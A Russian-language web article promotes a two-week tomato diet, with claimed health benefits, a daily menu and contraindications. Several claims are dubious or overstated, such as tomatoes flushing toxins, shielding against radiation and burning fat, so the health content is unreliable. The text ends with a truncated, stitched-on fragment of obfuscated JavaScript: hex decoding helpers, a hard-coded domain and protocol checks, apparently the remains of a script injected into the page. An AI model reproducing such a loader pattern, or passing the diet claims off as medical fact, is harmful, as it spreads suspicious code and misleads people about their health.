Содержание:
Похудение при помощи овощей считается наиболее эффективным, поскольку клетчатка, содержащаяся в них, позволяет надолго утолить голод.
Диета на помидорах привлекательна тем, что помогает не только избавиться от лишнего веса, но и помочь в борьбе со многими заболеваниями. Томатная диета на 2 недели — оптимальный вариант для тех, кто хочет привести фигуру в порядок. Свежие томаты в дневном рационе, как показывают научные исследования, значительно сокращают риск развития оноклогических патологий, защищают сердце и сосуды от необратимых изменений.
Польза томатов
Данный способ похудения относится к числу щадящих, поскольку помимо помидоров предусматривает употребление и других низкокалорийных продуктов, которые не вредят фигуре. Одно из преимуществ диеты на помидорах, которое следует отметить — это дешевизна и доступность, особенно в летнее время. И хотя каким-то необычным вкусом свежие томаты не обладают, они очень полезны. Лечебные свойства этого овоща обусловлены, прежде всего, содержанием в нем пуринов, фолиевой и аскорбиновой кислоты, витаминов Е, А и D. Также химический состав помидоров дополняют калий, магний и железо. Благодаря этим компонентам томатная диета помогает не только избавиться от ненавистных лишних килограмм, но и:
- Укрепить иммунитет и восстановить метаболические процессы в организме;
- Вывести токсичные вещества из организма;
- Уменьшить воздействие радиации на организм;
- Улучшение работы сердца и сосудистой системы;
- Укрепление костной ткани;
- Нормализация пищеварительного процесса;
- Сжигание жира и улучшение обменных процессов в клетках.
В 100 граммах свежих помидоров содержится лишь 23 ккал, но это не мешает им насыщать организм на целых 4 часа.
Преимущества помидоров в похудении
Эффект снижения веса при томатной диете на 2 недели достигается именно благодаря подавлению выработки гормона грелина, который, кстати, и провоцирует чувство голод. Обильное употребление этих овощей вызывает в организме рост гормона адипонектина. Он вырабатывается жировыми клетками. Помимо того, что этот компонент обладает противовоспалительными свойствами, он также предотвращает появление холстериновых отложений на сосудистых стенках. Японским ученых удалось выяснить еще один любопытный факт: в помидорах содержится особая субстанция, которая стимулирует процесс сжигания жира. Компонент 13-охо-ODA также препятствует отложению нового жира и улучшает метаболические процессы на уровне клеток. Но чтобы добиться этого эффекта, необходимо ежедневно выпивать 2-3 стакана свежевыжатого томатного сока без соли.
Меню на 14 дней
Если ваша цель — сбросить 2-3 лишних кило, то вам подойдет простая монодиета на томатах, рассчитанная на 2-3 дня. Однако в том случае если масштабы проблемы велики, то стоит воспользоваться более продолжительной программой похудения. Длинная диета на томатах за 2 недели помогает сбросить до 4-5 кг. Ежедневный рацион худеющего выглядит приблизительно следующим образом:
- На завтрак — стакан томатного сока без соли с двумя кусочками ржаного хлеба и 100 нежирного творога;
- На обед — несоленый отварной рис и 100 грамм вареной рыбы, стакан томатного сока. Можно дополнить свежими овощами;
- На ужин — 50 грамм риса и куриная котлета на пару. Не забудьте выпить стакан томатного сока и немного овощей, кроме картофеля.
При приготовлении пищи рекомендуется воздержаться от добавления любых специй и тем более соли. Томатный сок, по советам диетологов, лучше готовить самостоятельно из свежих помидоров. Для улучшения вкуса напитка можно добавить немного чеснока или зелени.
Недостатки и противопоказания
И хотя томатная диета на 2 недели не ограничена употреблением одних лишь томатов, тем не менее, она имеет некоторые противопоказания и минусы. Людям с гастритом, язвенной болезнью, панкреатитом и холециститом от такого способ похудения лучше отказаться. Во время пищевого отравления такая диета также противопоказана, поскольку употребление томатов в этот период может вызвать неприятные последствия для организма.
Процесс похудения на помидорной диете, как правило, происходит за счет потери жидкости и отказа от употребления соли. Именно поэтому вероятность возвращения лишних кило после прекращения диеты очень высока. Если вы хотите сохранить фигуру и после похудения, то стоит перейти на рацион правильного питания и по возможности отказаться от употребления соли. Томатный сок рекомендуется пить только в свежевыжатом виде, поскольку при длительном воздействии тепла органические кислоты, входящие в его состав, становятся вредными для человеческого организма.
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "tofeelwell.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
